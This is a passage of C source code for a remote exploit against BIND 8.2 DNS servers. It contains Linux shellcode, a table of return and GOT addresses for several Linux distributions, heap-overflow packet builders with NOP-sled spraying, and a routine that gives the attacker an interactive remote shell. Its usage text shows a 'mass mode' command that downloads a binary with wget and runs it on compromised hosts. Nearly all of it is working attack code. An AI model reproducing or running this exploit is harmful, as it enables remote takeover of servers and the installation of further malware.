| 29 | #include "dnslib.h" | ||
| 30 | |||
| 31 | |||
| 32 | unsigned char xp_initstr[] = "unset HISTFILE;uname -a;id;\n"; | ||
| 33 | |||
| 34 | unsigned char trap_code[] = "\x06\x31\xc0\xfe\xc0\xcd\x80"; | ||
| 35 | |||
| 36 | /* peername code that checks the source port connecting | ||
| 37 | * also setsockopts the SO_RCVLOWAT value in case BIND is | ||
| 38 | * waiting for such, which can happen | ||
| 39 | */ | ||
| 40 | unsigned char peername_code[]= | ||
| 41 | "\x31\xdb\xb3\x07\x89\xe2\xeb\x09\xaa\xaa\xaa\xaa" | ||
| 42 | "\xaa\xaa\xaa\xaa\xaa\x6a\x10\x89\xe1\x51\x52\x68" | ||
| 43 | "\xfe\x00\x00\x00\x89\xe1\x31\xc0\xb0\x66\xcd\x80" | ||
| 44 | "\xa8\xff\x75\x09\x66\x81\x7c\x24\x12\x34\x52\x74" | ||
| 45 | "\x0c\x5a\xf6\xc2\xff\x74\x4f\xfe\xca\x52\xeb\xe2" | ||
| 46 | "\x38\x5b\x31\xc9\xb1\x03\xfe\xc9\x31\xc0\xb0\x3f" | ||
| 47 | "\xcd\x80\x67\xe3\x02\xeb\xf3\x6a\x04\x6a\x00\x6a" | ||
| 48 | "\x12\x6a\x01\x53\xb8\x66\x00\x00\x00\xbb\x0e\x00" | ||
| 49 | "\x00\x00\x89\xe1\xcd\x80\x6a\x00\x6a\x00\x68\x2f" | ||
| 50 | "\x73\x68\x00\x68\x2f\x62\x69\x6e\x8d\x4c\x24\x08" | ||
| 51 | "\x8d\x54\x24\x0c\x89\x21\x89\xe3\x31\xc0\xb0\x0b" | ||
| 52 | "\xcd\x80\x31\xc0\xfe\xc0\xcd\x80"; | ||
| 53 | |||
| 54 | |||
| 55 | /* 34 byte x86/linux PIC arbitrary execute shellcode | ||
| 56 | */ | ||
| 57 | unsigned char x86_lnx_execve[] = | ||
| 58 | "\xeb\x1b\x5f\x31\xc0\x50\x8a\x07\x47\x57\xae\x75" | ||
| 59 | "\xfd\x88\x67\xff\x48\x75\xf6\x5b\x53\x50\x5a\x89" | ||
| 60 | "\xe1\xb0\x0b\xcd\x80\xe8\xe0\xff\xff\xff"; | ||
| 61 | |||
| 62 | typedef struct target { | ||
| 63 | char *name; | ||
| 64 | char *verstr; | ||
| 65 | int nl; | ||
| 66 | unsigned int ret_addr; | ||
| 67 | unsigned int retloc; | ||
| 68 | } target_t; | ||
| 69 | |||
| 70 | /* everything from 8.2 (included) to 8.2.3-REL (excluded) is vulnerable | ||
| 71 | */ | ||
| 72 | target_t targets[]={ | ||
| 73 | /* XXX: i (scut) think that retloc is always right, just retaddr | ||
| 74 | * can vary. i guess it varies when using different configurations | ||
| 75 | * so a way to reduce the effect is to send lots of tcp packets | ||
| 76 | * with nops + shellcode and then use a retaddr above the one | ||
| 77 | * returned by smilers script. like you send 10 * 64kb packets, | ||
| 78 | * just use 0x081n0000, n = [567] | ||
| 79 | * | ||
| 80 | * get the offsets this way: | ||
| 81 | * strings /usr/sbin/named | grep 8.2 | tail -1 | ||
| 82 | * md5sum /usr/sbin/named | ||
| 83 | * objdump --dynamic-reloc /usr/sbin/named | grep " close$" | ||
| 84 | * retaddr should be 0x08180000 in all cases | ||
| 85 | */ | ||
| 86 | |||
| 87 | /* bind-8.2.2p5-7.deb, /usr/sbin/named 1ab35b7360bab29809706c2b440fc147 */ | ||
| 88 | {"Debian 2.2 8.2.2p5-7 GOT", "8.2.2-P5-NOESW", 0, 0x08180000, 0x080b6d50 }, | ||
| 89 | /* bind-8.2.2p5-11.deb, /usr/sbin/named bf5bf8aa378bbb135833f3d924746574 */ | ||
| 90 | {"Debian 2.2 8.2.2p5-11 GOT", "8.2.2-P5-NOESW", 0, 0x08180000, 0x080b6f50 }, | ||
| 91 | /* bind-8.2.2p7-1.deb, /usr/sbin/named fddc29d50b773125302013cea4fe86cf */ | ||
| 92 | {"Debian 2.2 8.2.2p7-1 GOT", "8.2.2-P7-NOESW", 1, 0x08180000, 0x080b70b0 }, | ||
| 93 | |||
| 94 | /* bind-8.2.2P5-12mdk.i586.rpm, /usr/sbin/named 96cb52c21f622d47315739ee4c480206 */ | ||
| 95 | {"Mandrake 7.2 8.2.2-P5 GOT", "8.2.2-P5", 1, 0x08180000, 0x080d6a6c }, | ||
| 96 | |||
| 97 | /* RedHat 5.2 uses 8.1.2 */ | ||
| 98 | /* bind-8.2-6.i386.rpm, /usr/sbin/named */ | ||
| 99 | {"RedHat 6.0 8.2 GOT", "8.2", 0, 0x08180000, 0x080c62ac }, | ||
| 100 | /* bind-8.2.1-7.i386.rpm, /usr/sbin/named 9e1efa3d6eb65d1d12e9c3afcb1679de */ | ||
| 101 | {"RedHat 6.1 8.2.1 GOT", "8.2.1", 0, 0x08180000, 0x080c3a2c }, | ||
| 102 | /* bind-8.2.2_P3*?.rpm, /usr/sbin/named 40ae845243a678a5762a464f08a67ab5 */ | ||
| 103 | {"RedHat 6.2 8.2.2-P3 GOT", "8.2.2-P3", 0, 0x08180000, 0x080c5170 }, | ||
| 104 | /* bind-8.2.2_P5-9.rpm, /usr/sbin/named a74c76eca6d2bd6ad20a8258e6ba0562 */ | ||
| 105 | {"RedHat 6.2 8.2.2-P5 GOT", "8.2.2-P5", 0, 0x08180000, 0x080c56ac }, | ||
| 106 | /* bind-8.2.2_P5-25.i386.rpm, /usr/sbin/named ef247e20848ac07a3c5dde1d18d5e201 */ | ||
| 107 | {"RedHat 7.0 8.2.2-P5 GOT", "8.2.2-P5", 1, 0x08180000, 0x080f7230 }, | ||
| 108 | |||
| 109 | /* SuSE 6.0 to 6.2 use BIND 8.1.2 */ | ||
| 110 | /* bind8.rpm, /usr/sbin/named 4afe958a1959918426572701dd650c4b */ | ||
| 111 | {"SuSE 6.3 8.2.2-P5 GOT", "8.2.2-P5", 0, 0x08180000, 0x080d1d8c }, | ||
| 112 | /* bind8.rpm, /usr/sbin/named b8f62f57b9140e7c9a6abb12b8cb9751 */ | ||
| 113 | {"SuSE 6.4 8.2.2-P5 GOT", "8.2.2-P5", 0, 0x08180000, 0x080d0a8c }, | ||
| 114 | /* bind8.rpm, /usr/sbin/named 4aa979a93e5e8b44d316a986d3008931 */ | ||
| 115 | {"SuSE 7.0 8.2.3-T5B GOT", "8.2.3-T5B", 0, 0x08180000, 0x080d36cc }, | ||
| 116 | {"SuSE 7.1 8.2.3-T9B GOT", "8.2.3-T9B", 1, 0x08180000, 0x080d5ca8 }, | ||
| 117 | |||
| 118 | /* slack 4.0 uses 8.1.2 */ | ||
| 119 | /* bind.tgz, /usr/sbin/named 6a2305085f8a3e50604c32337d354ff8 */ | ||
| 120 | {"Slackware 7.0 8.2.2-REL GOT", "8.2.2-REL", 0, 0x08180000, 0x080c532c }, | ||
| 121 | /* bind.tgz, /usr/sbin/named 1c7436aaab660c3c1c940e4e9c6847ec */ | ||
| 122 | {"Slackware 7.1 8.2.2-P5 GOT", "8.2.2-P5", 1, 0x08180000, 0x080bfd0c }, | ||
| 123 | |||
| 124 | {NULL, 0x0, 0x0 }, | ||
| 125 | }; | ||
| 126 | |||
| 127 | int mass = 0, | ||
| 128 | check_version = 1; | ||
| 129 | unsigned char * code = peername_code; | ||
| 130 | unsigned int code_len = sizeof (peername_code); | ||
| 131 | |||
| 132 | int | ||
| 133 | sleepvis (int seconds); | ||
| 134 | |||
| 135 | void | ||
| 136 | bind_version (struct addrinfo *addr, unsigned char *verbuf, | ||
| 137 | unsigned long int len); | ||
| 138 | |||
| 139 | static int sc_build_x86_lnx (unsigned char *target, size_t target_len, | ||
| 140 | unsigned char *shellcode, char **argv); | ||
| 141 | |||
| 142 | int | ||
| 143 | send_bogus (struct addrinfo *addr); | ||
| 144 | |||
| 145 | int | ||
| 146 | send_populators (struct addrinfo *addr, int count); | ||
| 147 | |||
| 148 | int target_cnt = sizeof(targets)/sizeof(target_t); | ||
| 149 | target_t *vec = &targets[0]; | ||
| 150 | |||
| 151 | #if 1 | ||
| 152 | int | ||
| 153 | Xsend (int fd, unsigned char *buf, size_t len, int flags) | ||
| 154 | { | ||
| 155 | int n, tot = len; | ||
| 156 | |||
| 157 | while (len > 0) { | ||
| 158 | n = send (fd, buf, len, flags); | ||
| 159 | if (n <= 0) | ||
| 160 | return (n); | ||
| 161 | len -= n; | ||
| 162 | buf += n; | ||
| 163 | } | ||
| 164 | |||
| 165 | return (tot); | ||
| 166 | } | ||
| 167 | #else | ||
| 168 | #define Xsend send | ||
| 169 | #endif | ||
| 170 | |||
| 171 | #if 1 | ||
| 172 | int | ||
| 173 | Xread (int fd, unsigned char *buf, size_t len) | ||
| 174 | { | ||
| 175 | int n, tot; | ||
| 176 | int pdlen; | ||
| 177 | unsigned char plen[2]; | ||
| 178 | |||
| 179 | read (fd, plen, 2); | ||
| 180 | pdlen = ntohs (*(u_int16_t *)plen); | ||
| 181 | if (pdlen > len) | ||
| 182 | return (-1); | ||
| 183 | |||
| 184 | len = pdlen; | ||
| 185 | tot = len; | ||
| 186 | |||
| 187 | while (len > 0) { | ||
| 188 | n = read (fd, buf, len); | ||
| 189 | if (n < 0) | ||
| 190 | return (n); | ||
| 191 | |||
| 192 | len -= n; | ||
| 193 | if (n == 0) | ||
| 194 | return (len); | ||
| 195 | buf += n; | ||
| 196 | } | ||
| 197 | |||
| 198 | return (tot); | ||
| 199 | } | ||
| 200 | #else | ||
| 201 | #define Xread read | ||
| 202 | #endif | ||
| 203 | |||
| 204 | |||
| 205 | void | ||
| 206 | runshell (int fd) | ||
| 207 | { | ||
| 208 | fd_set rset; | ||
| 209 | int n; | ||
| 210 | char buffer[4096]; | ||
| 211 | |||
| 212 | for (;;) { | ||
| 213 | FD_ZERO (&rset); | ||
| 214 | FD_SET (fd, &rset); | ||
| 215 | FD_SET (STDIN_FILENO, &rset); | ||
| 216 | |||
| 217 | n = select (fd + 1, &rset, NULL, NULL, NULL); | ||
| 218 | if (n <= 0) { | ||
| 219 | perror ("select"); | ||
| 220 | return; | ||
| 221 | } | ||
| 222 | |||
| 223 | if (FD_ISSET (fd, &rset)) { | ||
| 224 | n = recv (fd, buffer, sizeof (buffer), 0); | ||
| 225 | if (n <= 0) { | ||
| 226 | perror ("select"); | ||
| 227 | break; | ||
| 228 | } | ||
| 229 | |||
| 230 | write (STDOUT_FILENO, buffer, n); | ||
| 231 | } | ||
| 232 | |||
| 233 | if (FD_ISSET (STDIN_FILENO, &rset)) { | ||
| 234 | n = read (STDIN_FILENO, buffer, sizeof (buffer)); | ||
| 235 | if (n <= 0) { | ||
| 236 | perror ("select"); | ||
| 237 | break; | ||
| 238 | } | ||
| 239 | Xsend (fd, buffer, n, 0); | ||
| 240 | } | ||
| 241 | } | ||
| 242 | return; | ||
| 243 | } | ||
| 244 | |||
| 245 | int | ||
| 246 | get_warez_connection (struct addrinfo *addr) | ||
| 247 | { | ||
| 248 | int s, val = 1; | ||
| 249 | struct sockaddr_in sin; | ||
| 250 | |||
| 251 | s = socket (addr->ai_family, addr->ai_socktype, addr->ai_protocol); | ||
| 252 | if (s < 0) { | ||
| 253 | return (-1); | ||
| 254 | } | ||
| 255 | |||
| 256 | if (setsockopt (s, SOL_SOCKET, SO_REUSEADDR, &val, sizeof(val)) < 0) { | ||
| 257 | close (s); | ||
| 258 | return (-1); | ||
| 259 | } | ||
| 260 | |||
| 261 | memset (&sin, 0, sizeof(sin)); | ||
| 262 | sin.sin_family = addr->ai_family; | ||
| 263 | sin.sin_port = htons (13394); /* shellcode checks for this... */ | ||
| 264 | sin.sin_addr.s_addr = 0; | ||
| 265 | |||
| 266 | if (bind (s, (struct sockaddr *)&sin, sizeof(sin)) < 0) { | ||
| 267 | close (s); | ||
| 268 | return (-1); | ||
| 269 | } | ||
| 270 | |||
| 271 | if (connect (s, addr->ai_addr, addr->ai_addrlen) < 0) { | ||
| 272 | close (s); | ||
| 273 | return (-1); | ||
| 274 | } | ||
| 275 | |||
| 276 | return (s); | ||
| 277 | } | ||
| 278 | |||
| 279 | int | ||
| 280 | get_connection (struct addrinfo *addr) | ||
| 281 | { | ||
| 282 | int s; | ||
| 283 | |||
| 284 | s = socket (addr->ai_family, addr->ai_socktype, addr->ai_protocol); | ||
| 285 | if (s < 0) { | ||
| 286 | return (-1); | ||
| 287 | } | ||
| 288 | |||
| 289 | if (connect (s, addr->ai_addr, addr->ai_addrlen) < 0) { | ||
| 290 | close (s); | ||
| 291 | return (-1); | ||
| 292 | } | ||
| 293 | |||
| 294 | fcntl (s, F_SETFL, O_SYNC | fcntl (s, F_GETFL)); | ||
| 295 | |||
| 296 | return (s); | ||
| 297 | } | ||
| 298 | |||
| 299 | /* since a malloc packet is always aligned on an 8 byte boundary we can | ||
| 300 | * assume at least a 2 byte alignment. | ||
| 301 | * Since (ret+12) is overwritten with garbage we need to jump over that | ||
| 302 | * with each instruction and it also needs to look like a domain name. | ||
| 303 | */ | ||
| 304 | unsigned char tesops[]= | ||
| 305 | "\x27\x90\xeb\x12\xeb\x12\xeb\x12\xeb\x12" | ||
| 306 | "\xeb\x12\xeb\x12\xeb\x12\xeb\x12\xeb\x12" | ||
| 307 | "\xeb\x12\xeb\x12\xeb\x12\xeb\x12\xeb\x12" | ||
| 308 | "\xeb\x12\xeb\x12\xeb\x12\xeb\x12\xeb\x12"; | ||
| 309 | /* just nops plus a jump to skip the first byte of the shellcode, note | ||
| 310 | * we shouldn't return into this part, but its relatively small | ||
| 311 | */ | ||
| 312 | unsigned char finops[]= | ||
| 313 | "\x14\x90\x90\x90\x90\x90\x90\x90\x90\x90" | ||
| 314 | "\x90\x90\x90\x90\x90\x90\x90\x90\x90\xeb\x01"; | ||
| 315 | |||
| 316 | int | ||
| 317 | mk_nops (unsigned char *cp) | ||
| 318 | { | ||
| 319 | unsigned char *orig = cp; | ||
| 320 | int ctr; | ||
| 321 | |||
| 322 | for (ctr = 0; ctr < 1498; ++ctr) { | ||
| 323 | memcpy (cp, tesops, 40); | ||
| 324 | cp += 40; | ||
| 325 | } | ||
| 326 | memcpy (cp, finops, 21); | ||
| 327 | cp += 21; | ||
| 328 | return (cp - orig); | ||
| 329 | } | ||
| 330 | int | ||
| 331 | mk_overwrite_pkt (unsigned char *cp) | ||
| 332 | { | ||
| 333 | unsigned char *orig = cp; | ||
| 334 | HEADER *hdr = (HEADER *)cp; | ||
| 335 | |||
| 336 | memset (cp, 0, NS_HFIXEDSZ); | ||
| 337 | hdr->id = 0; | ||
| 338 | hdr->rd = 1; | ||
| 339 | hdr->arcount = hdr->qdcount = htons (1); | ||
| 340 | |||
| 341 | cp += NS_HFIXEDSZ; | ||
| 342 | |||
| 343 | cp += mk_nops (cp); | ||
| 344 | |||
| 345 | #if 0 | ||
| 346 | memcpy (cp, vec->code, vec->code_len); | ||
| 347 | cp += vec->code_len; | ||
| 348 | #endif | ||
| 349 | |||
| 350 | #if 1 | ||
| 351 | cp += dns_mklongdn (cp, 0xffff - 25 - (cp - orig)); | ||
| 352 | #else /* harmless, for testing... */ | ||
| 353 | cp += dns_mklongdn (cp, 0xffff - 25 - (cp - orig) - 40); | ||
| 354 | #endif | ||
| 355 | *cp++ = '\0'; | ||
| 356 | |||
| 357 | NS_PUT16 (ns_t_a, cp); | ||
| 358 | NS_PUT16 (ns_c_in, cp); | ||
| 359 | |||
| 360 | *cp++ = '\0'; | ||
| 361 | NS_PUT16 (250, cp); | ||
| 362 | *cp++ = '\0'; | ||
| 363 | |||
| 364 | return (cp - orig); | ||
| 365 | } | ||
| 366 | |||
| 367 | int | ||
| 368 | mk_malloc_pkt (unsigned char *cp) | ||
| 369 | { | ||
| 370 | unsigned char *orig = cp; | ||
| 371 | |||
| 372 | memset (cp, 'P', 0x10 - 8); | ||
| 373 | cp += 0x10 - 8; | ||
| 374 | |||
| 375 | /* fake 1 indicate previous is in use */ | ||
| 376 | NS_LPUT32 (0, cp); | ||
| 377 | NS_LPUT32 (0x11, cp); | ||
| 378 | NS_LPUT32 (vec->retloc - 12, cp); | ||
| 379 | NS_LPUT32 (vec->ret_addr, cp); | ||
| 380 | /* fake 2 indicate previous isnt in use */ | ||
| 381 | NS_LPUT32 (0x10, cp); | ||
| 382 | NS_LPUT32 (0x10, cp); | ||
| 383 | NS_LPUT32 (0xf4f4f4f4, cp); | ||
| 384 | NS_LPUT32 (0x4f4f4f4f, cp); | ||
| 385 | /* fake 3 indicate previous is in use */ | ||
| 386 | NS_LPUT32 (0x0, cp); | ||
| 387 | NS_LPUT32 (0x11, cp); | ||
| 388 | NS_LPUT32 (0xe3e3e3e3, cp); | ||
| 389 | NS_LPUT32 (0x3e3e3e3e, cp); | ||
| 390 | |||
| 391 | return (cp - orig); | ||
| 392 | } | ||
| 393 | |||
| 394 | int | ||
| 395 | sleepvis (int seconds) | ||
| 396 | { | ||
| 397 | fprintf (stderr, "%2d", seconds); | ||
| 398 | while (seconds > 0) { | ||
| 399 | fflush (stderr); | ||
| 400 | seconds -= 1; | ||
| 401 | sleep (1); | ||
| 402 | fprintf (stderr, "\b\b%2d", seconds); | ||
| 403 | } | ||
| 404 | fprintf (stderr, "\b\b"); | ||
| 405 | fflush (stderr); | ||
| 406 | |||
| 407 | return (0); | ||
| 408 | } | ||
| 409 | |||
| 410 | int | ||
| 411 | send_bogus (struct addrinfo *addr) | ||
| 412 | { | ||
| 413 | int sock; | ||
| 414 | unsigned char bogus[2] = "\x00\x00"; | ||
| 415 | |||
| 416 | sleep (10); | ||
| 417 | |||
| 418 | sock = get_connection (addr); | ||
| 419 | if (sock < 0) { | ||
| 420 | fprintf (stderr, "# looks alright, BIND either crashed or spinning in shellcode\n"); | ||
| 421 | return (1); | ||
| 422 | } else { | ||
| 423 | fprintf (stderr, "# BIND is still reacting, either not vulnerable or GOT not triggered\n"); | ||
| 424 | fprintf (stderr, "# triggering close()\n"); | ||
| 425 | } | ||
| 426 | |||
| 427 | if (Xsend (sock, bogus, 2, 0) < 0) { | ||
| 428 | perror ("send_bogus:send"); | ||
| 429 | exit (EXIT_FAILURE); | ||
| 430 | } | ||
| 431 | close (sock); | ||
| 432 | |||
| 433 | return (0); | ||
| 434 | } | ||
| 435 | |||
| 436 | int | ||
| 437 | send_populators (struct addrinfo *addr, int count) | ||
| 438 | { | ||
| 439 | int i; | ||
| 440 | int sock[64]; | ||
| 441 | unsigned char len[2]; | ||
| 442 | unsigned char dbuf[65536]; | ||
| 443 | unsigned int dbuf_len_tell = 65532; | ||
| 444 | unsigned int dbuf_len_send; | ||
| 445 | |||
| 446 | if (count > (sizeof (sock) / sizeof (sock[0]))) { | ||
| 447 | fprintf (stderr, "to keep the balance of sanity is sometimes impossible\n"); | ||
| 448 | exit (EXIT_FAILURE); | ||
| 449 | } | ||
| 450 | |||
| 451 | fprintf (stderr, "sending %d packets, 64kb each. will give %lu bytes of nop space\n", | ||
| 452 | count, (unsigned long int) count * (dbuf_len_tell - code_len)); | ||
| 453 | fprintf (stderr, "for each packet we will leave one socket open\n"); | ||
| 454 | fprintf (stderr, "["); | ||
| 455 | fflush (stderr); | ||
| 456 | |||
| 457 | /* build buffer: <jmp-nops> <shellcode> <remspace> | ||
| 458 | * cant be simpler ;) | ||
| 459 | * remspace is not send to the remote side at all | ||
| 460 | */ | ||
| 461 | dbuf_len_send = dbuf_len_tell - 64; | ||
| 462 | for (i = 0 ; i < (dbuf_len_send - code_len) ; i += 2) { | ||
| 463 | dbuf[i] = '\xeb'; | ||
| 464 | dbuf[i + 1] = '\x12'; | ||
| 465 | } | ||
| 466 | for (i = (dbuf_len_send - code_len - 0x20) ; | ||
| 467 | i < (dbuf_len_send - code_len) ; ++i) | ||
| 468 | { | ||
| 469 | dbuf[i] = '\x90'; | ||
| 470 | // dbuf[i] = '\xcc'; | ||
| 471 | } | ||
| 472 | memcpy (dbuf + dbuf_len_send - code_len, | ||
| 473 | code, code_len); | ||
| 474 | |||
| 475 | for (i = 0 ; i < count ; ++i) { | ||
| 476 | fprintf (stderr, "%1d", i % 10); | ||
| 477 | fflush (stderr); | ||
| 478 | |||
| 479 | sock[i] = get_connection (addr); | ||
| 480 | if (sock[i] < 0) | ||
| 481 | continue; | ||
| 482 | |||
| 483 | *(u_int16_t *)len = htons (dbuf_len_tell); | ||
| 484 | if (Xsend (sock[i], len, 2, 0) < 0) { | ||
| 485 | perror ("send_populators:len-sending:send"); | ||
| 486 | exit (EXIT_FAILURE); | ||
| 487 | } | ||
| 488 | if (Xsend (sock[i], dbuf, dbuf_len_send, 0) < 0) { | ||
| 489 | perror ("send_populators:dbuf-sending:send"); | ||
| 490 | exit (EXIT_FAILURE); | ||
| 491 | } | ||
| 492 | } | ||
| 493 | |||
| 494 | fprintf (stderr, "]\n\n"); | ||
| 495 | fprintf (stderr, "successfully set up populator traps\n"); | ||
| 496 | |||
| 497 | return (0); | ||
| 498 | } | ||
| 499 | |||
| 500 | |||
| 501 | int | ||
| 502 | send_expl (struct addrinfo *addr) | ||
| 503 | { | ||
| 504 | int s1 = -1, s2 = -1, s3 = -1, s4 = -1, err = 0; | ||
| 505 | int owrite_len, mallox_len, blue =0; | ||
| 506 | unsigned char owrite[65536], len[2]; | ||
| 507 | unsigned char mallox[0x2000]; | ||
| 508 | |||
| 509 | /* create the packets first */ | ||
| 510 | owrite_len = mk_overwrite_pkt (owrite); | ||
| 511 | if (owrite_len > 65535) { | ||
| 512 | fprintf (stderr, "fuck..\n"); | ||
| 513 | return (-1); | ||
| 514 | } | ||
| 515 | |||
| 516 | mallox_len = mk_malloc_pkt (mallox); | ||
| 517 | |||
| 518 | s1 = get_connection (addr); | ||
| 519 | s2 = get_connection (addr); | ||
| 520 | s3 = get_connection (addr); | ||
| 521 | if (s1 < 0 || s2 < 0 || s3 < 0) { | ||
| 522 | perror ("get_connection"); | ||
| 523 | goto fail; | ||
| 524 | } | ||
| 525 | |||
| 526 | /* make named allocate the packet data */ | ||
| 527 | *(u_int16_t *)len = htons (0x60); | ||
| 528 | if (Xsend (s1, len, 2, 0) < 0) { | ||
| 529 | perror ("send"); | ||
| 530 | goto fail; | ||
| 531 | } | ||
| 532 | |||
| 533 | *(u_int16_t *)len = htons (owrite_len); | ||
| 534 | if (Xsend (s2, len, 2, 0) < 0) { | ||
| 535 | perror ("send"); | ||
| 536 | goto fail; | ||
| 537 | } | ||
| 538 | |||
| 539 | /* server still expects more.. */ | ||
| 540 | *(u_int16_t *)len = htons (mallox_len + 1); | ||
| 541 | if (Xsend (s3, len, 2, 0) < 2) { | ||
| 542 | perror ("send"); | ||
| 543 | goto fail; | ||
| 544 | } | ||
| 545 | |||
| 546 | printf ("sending main part of malloc packet...\n"); | ||
| 547 | if (Xsend (s3, mallox, mallox_len, 0) < (mallox_len)) { | ||
| 548 | perror ("malloc send"); | ||
| 549 | goto fail; | ||
| 550 | } | ||
| 551 | |||
| 552 | sleepvis (5); | ||
| 553 | |||
| 554 | printf ("sending overwrite packet...\n"); | ||
| 555 | /* overwrite the 3rd packet with the 2nd */ | ||
| 556 | if (Xsend (s2, owrite, owrite_len, 0) < owrite_len) { | ||
| 557 | perror ("owrite_send"); | ||
| 558 | goto fail; | ||
| 559 | } | ||
| 560 | while (blue < 65300) { | ||
| 561 | int n; | ||
| 562 | |||
| 563 | n = recv (s2, owrite, sizeof(owrite), 0); | ||
| 564 | if (n <= 0) | ||
| 565 | break; | ||
| 566 | blue += n; | ||
| 567 | } | ||
| 568 | |||
| 569 | close (s2); | ||
| 570 | s4 = get_warez_connection (addr); | ||
| 571 | if (s4 < 0) { | ||
| 572 | perror ("get_warez_connection"); | ||
| 573 | return (-1); | ||
| 574 | } | ||
| 575 | fprintf (stderr, "sent overwrite packet...sleeping for 2 seconds\n"); | ||
| 576 | sleepvis (2); | ||
| 577 | |||
| 578 | /* experimental reliability patch */ | ||
| 579 | fprintf (stderr, "sending dummy packets with shellcode to populate the heap\n"); | ||
| 580 | send_populators (addr, 20); | ||
| 581 | sleepvis (5); | ||
| 582 | |||
| 583 | fprintf (stderr, "freeing packet\n"); | ||
| 584 | /* free the 3rd packet */ | ||
| 585 | if (Xsend (s3, "a",1,0) < 1) { | ||
| 586 | perror ("malloc 2 send"); | ||
| 587 | goto fail; | ||
| 588 | } | ||
| 589 | close(s3); | ||
| 590 | sleepvis (2); | ||
| 591 | fprintf (stderr, "doing close\n"); | ||
| 592 | send (s1, mallox, 0x60, 0); | ||
| 593 | close (s1); | ||
| 594 | sleepvis (2); | ||
| 595 | fprintf (stderr, "doing fork-away and bogus connect to trigger close...\n"); | ||
| 596 | if (fork () == 0) { | ||
| 597 | send_bogus (addr); | ||
| 598 | exit (EXIT_SUCCESS); | ||
| 599 | } | ||
| 600 | |||
| 601 | if (mass == 1) { | ||
| 602 | sleepvis (5); | ||
| 603 | fprintf (stderr, "egg placed, may the force be with you.\n"); | ||
| 604 | exit (EXIT_SUCCESS); | ||
| 605 | } | ||
| 606 | |||
| 607 | fprintf (stderr, "trying shell....\n"); | ||
| 608 | fprintf (stderr, "advice: be patient, if it does not seem react here, wait. BIND may be in\n"); | ||
| 609 | fprintf (stderr, " an unstable state, but we will send a bogus packet in 10 seconds.\n"); | ||
| 610 | fprintf (stderr, " if it does react after some minutes, but behaves blocky,\n"); | ||
| 611 | fprintf (stderr, " something went wrong, but you can still type blind and wait a\n"); | ||
| 612 | fprintf (stderr, " few minutes for it to react, sorry.\n"); | ||
| 613 | fprintf (stderr, "-------------------------------------------------------------------------\n"); | ||
| 614 | |||
| 615 | #ifndef TRUST_THE_MAGIC | ||
| 616 | write (s4, xp_initstr, strlen (xp_initstr)); | ||
| 617 | #endif | ||
| 618 | runshell (s4); | ||
| 619 | |||
| 620 | err++; | ||
| 621 | fail: | ||
| 622 | err--; | ||
| 623 | close (s1); | ||
| 624 | close (s2); | ||
| 625 | close (s3); | ||
| 626 | return (err); | ||
| 627 | } | ||
| 628 | |||
| 629 | int | ||
| 630 | send_exploit (char *hname) | ||
| 631 | { | ||
| 632 | struct addrinfo *addr, hints; | ||
| 633 | int err = 0; | ||
| 634 | |||
| 635 | memset (&hints, 0, sizeof(hints)); | ||
| 636 | hints.ai_flags = AI_CANONNAME; | ||
| 637 | hints.ai_family = PF_UNSPEC; | ||
| 638 | hints.ai_socktype = SOCK_STREAM; | ||
| 639 | err = getaddrinfo (hname, "domain", &hints, &addr); | ||
| 640 | if (err) { | ||
| 641 | fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (err)); | ||
| 642 | return (-1); | ||
| 643 | } | ||
| 644 | |||
| 645 | if (check_version) { | ||
| 646 | unsigned char verbuf[64]; | ||
| 647 | |||
| 648 | fprintf (stderr, "probing for BIND version %s\n", vec->verstr); | ||
| 649 | memset (verbuf, '\0', sizeof (verbuf)); | ||
| 650 | bind_version (addr, verbuf, sizeof (verbuf)); | ||
| 651 | verbuf[sizeof (verbuf) - 1] = '\0'; | ||
| 652 | if (strcmp (verbuf, vec->verstr) != 0) { | ||
| 653 | fprintf (stderr, "remote uses BIND version \"%s\",\n" | ||
| 654 | "while the vector is for BIND version \"%s\".\n" | ||
| 655 | "use -n option to override, but know what you do\n", | ||
| 656 | verbuf, vec->verstr); | ||
| 657 | |||
| 658 | exit (EXIT_FAILURE); | ||
| 659 | } | ||
| 660 | fprintf (stderr, "remote uses correct version: \"%s\"\n", verbuf); | ||
| 661 | } | ||
| 662 | |||
| 663 | |||
| 664 | err = send_expl (addr); | ||
| 665 | |||
| 666 | freeaddrinfo (addr); | ||
| 667 | |||
| 668 | return (err); | ||
| 669 | } | ||
| 670 | |||
| 671 | void | ||
| 672 | usage (char *prg) | ||
| 673 | { | ||
| 674 | fprintf (stderr, "usage: %s [-h ip] [-t target] [mass commands]\n\n", prg); | ||
| 675 | fprintf (stderr, "-c mass mode. experts only\n"); | ||
| 676 | fprintf (stderr, "-n do NOT check for the correct BIND version\n"); | ||
| 677 | fprintf (stderr, "-h ip set target ip (default: 127.0.0.1)\n"); | ||
| 678 | fprintf (stderr, "-t target set target, zero gives a list\n\n"); | ||
| 679 | |||
| 680 | fprintf (stderr, "example: %s -h 127.0.0.1 -t 4 -c -- /bin/sh -c \\\n" | ||
| 681 | "\t\"cd /tmp;wget foo.org/bar;chmod +x bar;./bar\"\n\n", prg); | ||
| 682 | |||
| 683 | exit (EXIT_FAILURE); | ||
| 684 | } | ||
| 685 | |||
| 686 | int | ||
| 687 | main (int argc, char **argv) | ||
| 688 | { | ||
| 689 | char c; | ||
| 690 | char * dest = "127.0.0.1"; | ||
| 691 | int target = 0; | ||
| 692 | unsigned char codebuf[256]; | ||
| 693 | |||
| 694 | if (argc == 1) | ||
| 695 | usage (argv[0]); | ||
| 696 | |||
| 697 | while ((c = getopt (argc, argv, "cnh:t:")) != EOF) { | ||
| 698 | switch (c) { | ||
| 699 | case 'c': | ||
| 700 | mass = 1; | ||
| 701 | break; | ||
| 702 | case 'n': | ||
| 703 | check_version = 0; | ||
| 704 | break; | ||
| 705 | case 'h': | ||
| 706 | dest = optarg; | ||
| 707 | break; | ||
| 708 | case 't': | ||
| 709 | if (atoi (optarg) == 0) { | ||
| 710 | target_t *ptr; | ||
| 711 | int ctr; | ||
| 712 | |||
| 713 | printf ("\tno system BIND version\n"); | ||
| 714 | printf ("\t--- ------------------------------ ---------------\n"); | ||
| 715 | for (ctr = 1, ptr = targets; ptr->name; ++ptr, ++ctr) | ||
| 716 | fprintf (stderr, "\t%2d: %-30s %-15s\n%s", ctr, | ||
| 717 | ptr->name, ptr->verstr, | ||
| 718 | ptr->nl == 1 ? "\n" : ""); | ||
| 719 | exit (EXIT_FAILURE); | ||
| 720 | } | ||
| 721 | target = atoi (optarg); | ||
| 722 | |||
| 723 | break; | ||
| 724 | default: | ||
| 725 | usage (argv[0]); | ||
